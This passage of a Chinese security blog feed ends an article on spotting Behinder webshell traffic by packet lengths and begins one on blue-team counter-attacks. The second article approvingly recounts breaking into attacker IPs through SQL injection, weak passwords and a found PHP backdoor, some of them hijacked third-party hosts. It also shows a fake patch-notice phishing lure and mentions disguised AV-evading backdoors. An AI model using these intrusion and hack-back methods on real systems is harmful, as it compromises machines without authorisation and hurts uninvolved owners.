class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">...</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">}$mode=<span class="code-snippet__string">&#34;list&#34;</span>;$path=<span class="code-snippet__string">&#34;E:\phpStudy\WWW/&#34;</span>;</span></code><code><span class="code-snippet_outer">main($mode,$path);</span></code></pre></section><section style="text-indent: 0em;"><span style="font-family:宋体;">在分析了开头的几个数据包后我们发现，由于流量中已经没有</span>key<span style="font-family:宋体;">值，所以就算我们捕获了冰蝎</span>3.0<span style="font-family:宋体;">的<strong>通信流量</strong>，也没有办法解密，只有找到上传</span>webshell<span style="font-family:宋体;">或者写入</span>webshell<span style="font-family:宋体;">的数据包拿到</span>key<span style="font-family:宋体;">值才行。<br/></span></section><section style="text-indent: 0em;"><span style="font-family:宋体;">那么，我们如何在<strong>流量层中捕获冰蝎</strong>呢，所有的数据包全程无参数，每一次重新连接</span>webshell<span style="font-family:宋体;">时，</span>ua<span style="font-family:宋体;">也会变化。这时我们回到冰蝎连接时发送的第一个数据包，虽然进行认证的随机字符串会变化，但是长度是不会变的，这也就说明第一个认证包</span>request<span style="font-family:宋体;">和</span>response<span style="font-family:宋体;">的<strong>长度是固定</strong>的，包括第二个数据包获取基本信息的</span>request<span style="font-family:宋体;">长度也是固定的（</span>php<span style="font-family:宋体;">下长度为</span><strong>2220</strong><span style="font-family:宋体;">），但是由于每个服务器的环境信息不同，第二个包的</span>response<span style="font-family:宋体;">长度不是固定的。<br/></span></section><section style="text-indent: 0em;"><span style="font-family:宋体;">那么在这种情况下，我们可以<strong>在全流量设备的加持下编写脚本</strong>，筛选出第一个包</span>request<span style="font-family:宋体;">长度为</span><strong>1112</strong><span style="font-family:宋体;">，</span>response<span style="font-family:宋体;">响应长度为</span><strong>128</strong><span style="font-family:宋体;">，第二个包</span>request<span style="font-family:宋体;">长度为</span><strong>2220</strong><span style="font-family:宋体;">的流量，即为冰蝎</span>webshell<span style="font-family:宋体;">产生的流量。<br/></span></section><section><strong>PS</strong>：上述分析基于php脚本，其他脚本略有不同，但分析思路是一样的。</section>



<p><a href="2247483672">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=54ba7c32&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483672%26idx%3D1%26sn%3D22a6bda8020f9c9e8d9a35138cdbf296%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 17 Aug 2020 13:07:00 +0800</pubDate>
    </item>
    <item>
      <title>浅谈蓝队反制手段</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483662&amp;idx=1&amp;sn=58e7289f496e431f6fbc8fbf0a74f903</link>
      <description>蓝队防守转换思维，化被动为主动，尝试用“攻击”思路代入“防守”中，对“红队”进行反向捕获（反制）。</description>
      <content:encoded><![CDATA[<p>
原创 <span>EvilChen</span> <span>2020-08-15 16:48</span> <span style="display: inline-block;"></span>
</p>

<p>蓝队防守转换思维，化被动为主动，尝试用“攻击”思路代入“防守”中，对“红队”进行反向捕获（反制）。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=347c2535&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzP190eDsAVFEl81dDA4MDkawP1e3SS0vlGOgYu2XCX31Dibym5N3eYDQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">前言</h2><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">网络安全攻防演习在国内已经逐渐常态化，从行业、区域（省份、地市）到部级...</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">2020年1月份开始到现在可以说基本上每个月都有1-3场HW，红与蓝的对抗从未停息。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">红队的攻击技巧可以无穷无尽（扫描器、社工、0day、近源...），但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外，似乎实在是没有什么其他的防御手段了。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">笔者在参与的几场攻防演习项目中担任“蓝队防守”角色，就发现了这一缺陷，似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备，都只有乖乖的等待被“收割”。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">转换一个思维，化被动为主动，尝试用“攻击”思路代入“防守”中，对“红队”进行反向捕获（反制）。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p>本文将总结案例“反制”手段，文中不足之处还望各位斧正。</p><p><br/></p><h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">反制手段</h2><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">蜜罐篇</h3><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">蜜罐设备</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">大部分厂商为了争取得到一些分数，都会采购/借用一些厂商的蜜罐设备，但蜜罐也分两类：传统、现代，两者从本质上还是有一定区别的，这里我简单说一下自己的理解。</p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>传统蜜罐：</strong>蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的防御能力。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>现代蜜罐：</strong>除了捕获分析攻击行为外，各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”，而本质上攻击者画像是将第三方厂商漏洞转为画像探针，利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息，此类漏洞多半为前端类漏洞，例如：JSONP、XSS...除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">所以传统蜜罐厂商在这一块的被“需要”不大，而现代蜜罐厂商在这一块往往有需要性很多，就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。</p><p><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">蜜罐的反制</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">现代化蜜罐都做了哪些反制的操作呢？</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>可克隆相关系统页面，伪装“漏洞”系统</p></li><li><p>互联网端投饵，一般会在Github、Gitee、Coding上投放蜜标（有可能是个单独的网站地址、也有可能是个密码本引诱中招）</p></li><li><p>利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份（网络画像）</p></li></ol><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">这样其实一条捕获链就出现了（仅仅是举例，其实更多的是对方在做信息收集的时候探测到了此端口）：</p><p><br/></p><p><img data-ratio="0.4930232558139535" data-w="1290" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=87887cb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzsqkw3DpjOfeUZeLzibv9u7RM62ddTY0ECkAsRbt5Q9hRAJs6cef4boA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">蜜罐的一些功能细节不过多赘述，比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的...如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>注</strong>：在实战演习过程中，仍然有许多攻击者中招，蜜罐会存储身份数据，并且会回传至厂商进行存储。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">场景篇</h3><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">主动攻击“攻击IP”</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">防守日常就是看流量、分析流量，其中大部分都为扫描器流量，由于一般扫描器都会部署在VPS上，因此我们可以结合<strong>流量监测平台</strong>反向扫描。</p><p><br/></p><p><img data-ratio="0.14216867469879518" data-w="830" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=fa86c5f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzEmc8LBWpUPR2LsElRUmks8gXqxoL1lRRTibyibo3zlUsXhcQA6x6lMpw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">导出演习期间攻击IP列表，对IP进行端口扫描，从Web打入攻击IP机器内部。</p><p><br/><img data-ratio="0.5879518072289157" data-w="830" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a7b4b91d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzZHrTiaaSrGccXYQtZ8Mib2EmLkEMOM41rcAgCJs39b7wjeEy7FfxibDkQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">发现了一堆攻击IP机器上Web服务的漏洞：SQL注入、弱口令...拿下了一堆机器，也发现了大部分都是“被控主机”，而非购买的VPS，上面也大多是一些正常业务、非法业务在运转。</p><p><br/><img data-ratio="0.14216867469879518" data-w="830" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c9f43492&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzkRBibM8qUqGJan4EwEaQRrUuoibvNHSERQns2xM3GCj61oHnn5PdicibLw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">除此之外，我们对所拿下的主机进行信息收集，发现了一个有意思的点，大部分机器为WAMP（Windows + Apache + Mysql + PHP），而根目录都存在着一个文件<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">images.php</code>。</p><p><br/></p><p><img data-ratio="0.07710843373493977" data-w="830" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ea707f8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFz69KvIwNDHiaGfByuzZoNYsr1sOZZatsR7NxzBlsSaHibl7UpmQY9Hzbg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">这是一个PHP脚本后门，我们通过分析该PHP文件又拿下数十台机器，对每台机器进行日志收集，分析IP关联性...整理报告上交裁判组判定。</p><p><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">邮件钓鱼反制</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">安全防护基础较好的厂商，一般来说除了出动0day，物理近源渗透以外，最常见的就是邮件钓鱼了，在厂商收到邮件钓鱼的情况下，我们可以采取化被动为主动的方式，假装咬钩，实际上诱导攻击者进入蜜网。</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">北京时间 <span class="code-snippet__number">2019</span> 年 <span class="code-snippet__number">5</span> 月 <span class="code-snippet__number">15</span> 日微软发布安全补丁修复了 CVE 编号为 CVE-<span class="code-snippet__number">2019</span>-<span class="code-snippet__number">070</span>8 的 Windows 远程桌面服务(RDP)远程代码执行漏洞，该漏洞在不需身份认证的情况下即可远程触发，危害与影响面极大。</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">受影响操作系统版本：</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| Windows 7</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">|</span> Windows Server <span class="code-snippet__number">2008</span> R2</span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| Windows Server 2008</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">|</span> Windows Server <span class="code-snippet__number">2003</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| Windows XP</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害，由总行信息科技部研究决定，先推行紧急漏洞加固补丁，确保业务网、办公网全部修补漏洞，详情请阅读加固手册。</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">加固补丁程序解压密码：xxxx</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">xx信息科技部</span></code><code><span class="code-snippet_outer">xxxxx</span></code><code><span class="code-snippet_outer">xxx年xx月xx日</span></code></pre></section><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">在某次演习期间，我们防守的客户单位就收到了钓鱼邮件，庆幸的是客户总体安全意识很强，加上有邮件沙箱的加持，并没有实际人员中招，而我们将计就计，部署一套虚假的内网环境，伪造钓鱼邮件中招假象，中招人员画像和机器环境编排：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>名字：</strong>许晋 （jinxu）</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>身份：</strong>巡检职员</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>平时上机内容：</strong>看视频、打游戏、巡检</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>系统软件：</strong>Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture....</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>系统环境：</strong>除了部署一些常见的系统软件，我们还要创建一系列工作文档（手工伪造、由客户提供非敏感公开数...），并在众多的工作文档中携带了我们部署的免杀后门（伪装成VPN安装包或办公软件）。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 